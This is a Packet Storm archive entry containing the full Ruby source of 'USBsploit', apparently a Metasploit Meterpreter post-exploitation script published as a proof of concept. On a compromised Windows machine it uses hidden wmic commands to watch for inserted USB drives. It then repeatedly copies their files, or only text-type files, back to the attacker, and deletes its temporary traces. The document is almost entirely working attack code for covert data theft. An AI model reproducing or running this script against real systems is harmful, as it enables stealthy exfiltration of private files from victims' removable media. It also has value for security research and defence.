USBsploit Proof Of Concept

2010-07-16T00:00:00
ID PACKETSTORM:91866
Type packetstorm
Reporter Xavier Poli
Modified 2010-07-16T00:00:00

Description

                                        
                                            `### $Id: usbploit.rb 2010-06-19 22:46:25Z XPO $  
### Contact : xavier.poli@infratech.fr or http://twitter.com/secuobs  
### Tested target : Windows XP Pro SP3 into vmware server from a GNU/Linux host (USBsploit needs wmic on the targets to work)  
os = client.sys.config.sysinfo['OS']  
host = client.sys.config.sysinfo['Computer']  
require 'net/http'  
### options  
@@exec_opts = Rex::Parser::Arguments.new(  
"-d" => [ false,"Dump all the files and directories."],  
"-h" => [ false,"Help menu."],  
"-t" => [ false,"Dump only the text files using a predefined extensions sets (Autamatic download set file if needed). Must be placed after the -e parameter if not default value"],  
"-e" => [ true,"Specify a personnal file path with a specific extensions set to dump, must be enclosed between double quotes if complex path. Must be placed before the -t parameter if not default value."],  
"-w" => [ false,"Run the scan only one time instead of the infinite while."],  
"-v" => [ false,"Activate high verbosity"],  
)  
################## function declaration Declarations ##################  
### help  
def usage  
puts @@exec_opts.usage  
print_line("USAGE: ")  
print_line("With Metasploit >>> run usbsploit -w -v -e /opt/metasploit3/msf3/msf/data/textextensions -t")  
print_line("Previous command Will dump only the files matching the extensions set defined by the personnal extensions file and this will be done while a scan is successfull. High verbosity is also activated. NOTE: USBsploit needs wmic on the targets to work!!!\n")  
end  
### executing remote wmic commands  
def wmicexec(client,wmiccmds= nil)  
windr = ''  
tmpout = ''  
windrtmp = ""  
client.response_timeout=120  
begin  
tmp = client.fs.file.expand_path("%TEMP%")  
wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000))  
wmiccmds.each do |wmi|  
r = client.sys.process.execute("cmd /c wmic /append:#{wmicfl} #{wmi}", nil, {'Hidden' => true})  
sleep(2)  
#Making sure that wmic finnishes before executing next wmic command  
prog2check = "wmic.exe"  
found = 0  
while found == 0  
client.sys.process.get_processes().each do |x|  
found =1  
if prog2check == (x['name'].downcase)  
sleep(0.5)  
found = 0  
end  
end  
end  
r.close  
end  
### Read the output file of the wmic commands  
wmidrivefile = client.fs.file.new(wmicfl, "rb")  
until wmidrivefile.eof?  
tmpout << wmidrivefile.read  
end  
wmidrivefile.close  
wmidrivefile.close  
rescue ::Exception => e  
end  
### We delete the file with the wmic command output.  
c = client.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})  
c.close  
tmpout  
end  
### handle files  
def filewrt(file2wrt, data2wrt)  
output = ::File.open(file2wrt, "a")  
data2wrt.each_line do |d|  
output.puts(d)  
end  
output.close  
end  
### test if file exists remotely  
def remoteexists(dst)  
value = client.fs.dir.entries(dst)  
return value  
rescue  
return false  
end  
### test if a drive still exists remotely  
def remotedriveexists(dst)  
value = client.fs.dir.entries(dst)  
return true  
rescue  
return false  
end  
### recursive and differential downloader  
def dumper(dst,src,dump,verbose,host,extensionsfile,volumeserialnumber)  
begin  
### if a dump attack was chosen  
if dump == "true" or dump == "extension"  
state = 0  
### for each item on the drive  
if (value = remotedriveexists(src + File::SEPARATOR) == true)  
each = client.fs.dir.entries(src)  
each.each { |src_sub|  
if (src_sub == '.' or src_sub == '..')  
next  
end  
src_item = src + File::SEPARATOR + src_sub  
dst_item = dst + ::File::SEPARATOR + src_sub  
src_stat = client.fs.filestat.new(src_item)  
### if item is a file  
if (src_stat.file?)  
### check local size if file exist allready locally  
if ::File.exists?(dst_item)  
dst_size = File.size(dst_item)  
else  
dst_size = "NULL"  
end  
if src_stat.size == dst_size  
### same size  
if verbose == "true"  
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" unchanged compare to local copy \"#{dst_item}\"")  
end  
else  
### different size or no local copy, download the file  
### download only file matching the extensions set if option chosen  
if dump == "extension"  
openextension = 0  
File.readlines(extensionsfile).map {|extension|  
begin  
if extension.gsub("\n","") == File.extname(dst_item).gsub(".","")  
client.fs.file.download_file(dst_item, src_item)  
state += 1  
openextension = 1  
if verbose == "true"  
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" CHANGED compare to local copy or NEW, donwloaded and now available under \"#{dst_item}\", extension \"#{extension.gsub("\n","")}\" matchs the set chosen")  
end  
end  
end  
}  
if openextension == 0  
if verbose == "true"  
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" wasn't donwloaded, \"#{File.extname(dst_item).gsub(".","")}\" not part of the extensions range chosen")  
end  
end  
else  
### download file without taking care of an extensions set  
client.fs.file.download_file(dst_item, src_item)  
state += 1  
if verbose == "true"  
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" CHANGED compare to local copy or NEW, donwloaded and now available under \"#{dst_item}\"")  
end  
end  
end  
### if item is a directory  
elsif (src_stat.directory?)  
if ::File.exists?(dst_item)  
else  
### create the local directory identified on the remote drive if not exist  
::Dir.mkdir(dst_item)  
end  
### relaunch dumper function on the sub directory  
if verbose == "true"  
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") directory and under files from \"#{host}\" will be checked")  
end  
statet = state  
state = dumper(dst_item,src_item,dump,verbose,host,extensionsfile,volumeserialnumber)  
state += statet  
end  
}  
end  
end  
end  
return state  
rescue ::Exception => e  
return state  
end  
### parsing options  
dump = "false"  
verbose = "false"  
stopwhile = "false"  
extensionsfile = ::File.join(Msf::Config.data_directory, 'textextensions' )  
@@exec_opts.parse(args) do |opt, idx, val|  
case opt  
when "-d"  
dump = "true"  
when "-e"  
if ::File.exists?(extensionsfile)  
dump = "extension"  
extensionsfile = val  
else  
raise "Personnal extensions set File \"#{val}\" does not exist!"  
end  
when "-t"  
if ::File.exists?(extensionsfile)  
dump = "extension"  
else  
Net::HTTP.start("www.secuobs.com") do |http|  
req = Net::HTTP::Get.new("/usbsploit/textextensions}")  
resp = http.request(req)  
::File.open(::File.join(Msf::Config.data_directory, "textextensions"), "wb") do |fd|  
fd.write(resp.body)  
end  
end  
if ::File.exists?(extensionsfile)  
print_status("\"#{Msf::Config.data_directory}/textextensions\" downloaded \"from http://www.secuobs.com/usbsploit/textextensions\"")  
dump = "extension"  
else  
raise "Text extensions set File \"#{extensionsfile}\" does not exists and can't be downloaded!"  
end  
end  
when "-w"  
stopwhile = "true"  
when "-v"  
verbose = "true"  
when "-h"  
usage  
raise Rex::Script::Completed  
end  
end  
if args.length == 0  
dump = "true"  
end  
### variable declarations  
commands = ["LogicalDisk WHERE \"Description = 'Removable Disk'\" get DeviceID"]  
nbdrive = 0  
state = 0  
### Create a directory for the dumps  
logstmp = ::File.join(Msf::Config.log_directory, 'usbsploit' )  
logs = logstmp + "/" + host  
if ::File.exists?(logs)  
else  
::FileUtils.mkdir_p(logs)  
end  
### declaration tracking files  
drivefile = logstmp + "/drive" + host  
volumeserialnumberfile = logstmp + "/volumeserialnumber" + host  
oldvolumeserialnumberfile = logstmp + "/oldvolumeserialnumber" + host  
### cleaning  
if ::File.exists?(oldvolumeserialnumberfile)  
File.unlink(oldvolumeserialnumberfile)  
end  
### start  
print_status("Start launching USBsploit module Dump on the remote target \"#{host}\"")  
print_status("Waiting for removable drives to be inserted, remember USBsploit needs wmic on the targets to work!!!")  
first = 0  
temp = 0  
while temp < 1  
dumped = 0  
newnbdrive = 0  
### cleaning  
if ::File.exists?(volumeserialnumberfile)  
File.unlink(volumeserialnumberfile)  
end  
if ::File.exists?(drivefile)  
File.unlink(drivefile)  
end  
### number of drives plugged  
filewrt(drivefile, wmicexec(client,commands))  
::File.open(drivefile, "r").each_line do |drive|  
begin  
drive = drive.gsub(/[^\w|:]/,"")  
if drive =~ /:/  
newnbdrive += 1  
end  
end  
end  
### If at least one drive is plugged now and one was plugged during the last scan  
if newnbdrive > 0 and nbdrive > 0  
if newnbdrive > 1 and nbdrive > 1  
print_status("#{newnbdrive} drives are plugged into \"#{host}\", #{nbdrive} drives were previously inserted")  
elsif newnbdrive > 1 and nbdrive == 1  
print_status("#{newnbdrive} drives are plugged into \"#{host}\", #{nbdrive} drive was previously inserted")  
elsif newnbdrive == 1 and nbdrive > 1  
print_status("#{newnbdrive} drive is plugged into \"#{host}\", #{nbdrive} drives were previously inserted")  
elsif newnbdrive == 1 and nbdrive == 1  
print_status("#{newnbdrive} drive is plugged into \"#{host}\", #{nbdrive} drive was previously inserted")  
end  
### Get the list of all plugged drives this time  
::File.open(drivefile, "r").each_line do |drive|  
begin  
drive = drive.gsub(/[^\w|:]/,"")  
if drive =~ /:/  
### Get the volumeserialnumber for the plugged drive checked at this time  
newvolumeserialnumber = 1  
openvolumeserialnumber = 0  
command = ["LogicalDisk WHERE \"Description = 'Removable Disk' and DeviceID = '#{drive}'\" get VolumeSerialNumber"]  
filewrt(volumeserialnumberfile, wmicexec(client,command))  
::File.open(volumeserialnumberfile, "r").each_line do |volumeserialnumber|  
begin  
volumeserialnumber = volumeserialnumber.gsub(/[^\w|:]/,"")  
if volumeserialnumber =~ /\d/  
openvolumeserialnumber = 1  
### Recover all the volumeserialnumber values for the drives plugged during the last scan  
if ::File.exists?(oldvolumeserialnumberfile)  
::File.open(oldvolumeserialnumberfile, "r").each_line do |oldvolumeserialnumber|  
begin  
oldvolumeserialnumber = oldvolumeserialnumber.gsub(/[^\w|:]/,"")  
if oldvolumeserialnumber =~ /\d/  
### Check if this volumeserialnumber was part of the recovered ones from the last scan  
if volumeserialnumber == oldvolumeserialnumber  
newvolumeserialnumber = 0  
if verbose == "true"  
print_status("\"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\") found on \"#{host}\" but was allready inserted before and dumped")  
end  
else  
### nothing to do here  
end  
end  
end  
end  
else  
newvolumeserialnumber = 1  
end  
end  
end  
end  
if newvolumeserialnumber == 1 and openvolumeserialnumber == 1  
### Check if the new plugged drive is allways plugged at this time  
sleep(2)  
if (value = remotedriveexists(drive + File::SEPARATOR) == true)  
if ::File.exists?(volumeserialnumberfile)  
File.unlink(volumeserialnumberfile)  
end  
filewrt(volumeserialnumberfile, wmicexec(client,command))  
::File.open(volumeserialnumberfile, "r").each_line do |volumeserialnumber|  
begin  
volumeserialnumber = volumeserialnumber.gsub(/[^\w|:]/,"")  
if volumeserialnumber =~ /\d/  
### Create a directory for the dumps  
logskey = logstmp + "/" + host + "/" + volumeserialnumber  
if ::File.exists?(logskey)  
else  
::FileUtils.mkdir_p(logskey)  
end  
if dump == "true" or dump == "extension"  
print_status("New \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" found on \"#{host}\" will be dumped to \"#{logskey}\" if not allready from a previous attack")  
end  
### Dump the files from the new plugged drive  
state = dumper(logskey,drive,dump,verbose,host,extensionsfile,volumeserialnumber)  
dumped += 1  
if dump == "true" or dump == "extension"  
if state == "00" or state == ''  
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, no new file was copied!")  
elsif state == 1  
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} file was copied!")  
else  
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} files were copied!")  
end  
end  
end  
end  
end  
else  
### The new plugged drive checked was unplugged  
if verbose == "true"  
if dump == "true" or dump == "extension"  
print_status("Files can't be dumped from \"#{drive + File::SEPARATOR}\", certainly removed from \"#{host}\" now!")  
end  
end  
end  
else  
### The plugged drive checked was allready part of the last scan  
end  
if ::File.exists?(volumeserialnumberfile)  
File.unlink(volumeserialnumberfile)  
end  
end  
end  
end  
### elsif at least one drive is plugged this time and any during the last scan  
elsif newnbdrive > 0 and nbdrive == 0  
if first == 0  
if newnbdrive > 1  
print_status("#{newnbdrive} drives are initially plugged into \"#{host}\" when USBsploit starts")  
elsif newnbdrive == 1  
print_status("#{newnbdrive} drive is initially plugged into \"#{host}\" when USBsploit starts")  
end  
first = 1  
else  
if newnbdrive > 1  
print_status("#{newnbdrive} drives are now plugged into \"#{host}\", any drive was previously inserted")  
elsif newnbdrive == 1  
print_status("#{newnbdrive} drive is now plugged into \"#{host}\", any drive was previously inserted")  
end  
end  
### Get the list of all plugged drives this time  
::File.open(drivefile, "r").each_line do |drive|  
begin  
drive = drive.gsub(/[^\w|:]/,"")  
if drive =~ /:/  
### check if the new drive is allways plugged  
sleep(2)  
if (value = remotedriveexists(drive + File::SEPARATOR) == true)  
### Get the volumeserialnumber for the plugged drive checked at this time  
command = ["LogicalDisk WHERE \"Description = 'Removable Disk' and DeviceID = '#{drive}'\" get VolumeSerialNumber"]  
if ::File.exists?(volumeserialnumberfile)  
File.unlink(volumeserialnumberfile)  
end  
filewrt(volumeserialnumberfile, wmicexec(client,command))  
::File.open(volumeserialnumberfile, "r").each_line do |volumeserialnumber|  
begin  
volumeserialnumber = volumeserialnumber.gsub(/[^\w|:]/,"")  
if volumeserialnumber =~ /\d/  
logskey = logstmp + "/" + host + "/" + volumeserialnumber  
if dump == "true" or dump == "extension"  
print_status("New \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" found on \"#{host}\" will be dumped to \"#{logskey}\" if not allready from a previous attack")  
end  
### Create a directory for the dumps  
if ::File.exists?(logskey)  
else  
::FileUtils.mkdir_p(logskey)  
end  
### Dump the files from the new plugged drive  
state = dumper(logskey,drive,dump,verbose,host,extensionsfile,volumeserialnumber)  
if dump == "true" or dump == "extension"  
if state == "00" or state == ''  
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, no new file was copied!")  
elsif state == 1  
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} file was copied!")  
else  
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} files were copied!")  
end  
end  
dumped += 1  
if stopwhile == "true"  
temp += 1  
end  
end  
end  
end  
else  
### The new plugged drive checked was unplugged  
if verbose == "true"  
if dump == "true" or dump == "extension"  
print_status("Files can't be dumped from \"#{drive + File::SEPARATOR}\", certainly removed from \"#{host}\" now!")  
end  
end  
end  
end  
end  
end  
end  
### refresh the number of plugged drives for future checks  
if dumped == 0  
if newnbdrive == 1  
else  
end  
else  
if dumped == 1  
if newnbdrive == 1  
else  
end  
else  
if newnbdrive == 1  
else  
end  
end  
end  
if newnbdrive == nbdrive  
else  
if ::File.exists?(oldvolumeserialnumberfile)  
File.unlink(oldvolumeserialnumberfile)  
end  
### Save the volumeserialnumber of each plugged drives for future checks  
::File.open(drivefile, "r").each_line do |drive|  
begin  
drive = drive.gsub(/[^\w|:]/,"")  
if drive =~ /:/  
if (value = remotedriveexists(drive + File::SEPARATOR) == true)  
command = ["LogicalDisk WHERE \"Description = 'Removable Disk' and DeviceID = '#{drive}'\" get VolumeSerialNumber"]  
filewrt(oldvolumeserialnumberfile, wmicexec(client,command))  
end  
end  
end  
nbdrive = newnbdrive  
end  
end  
if ::File.exists?(drivefile)  
File.unlink(drivefile)  
end  
### delay for 2 continuous scans  
#sleep(10)  
end  
raise Rex::Script::Completed  
`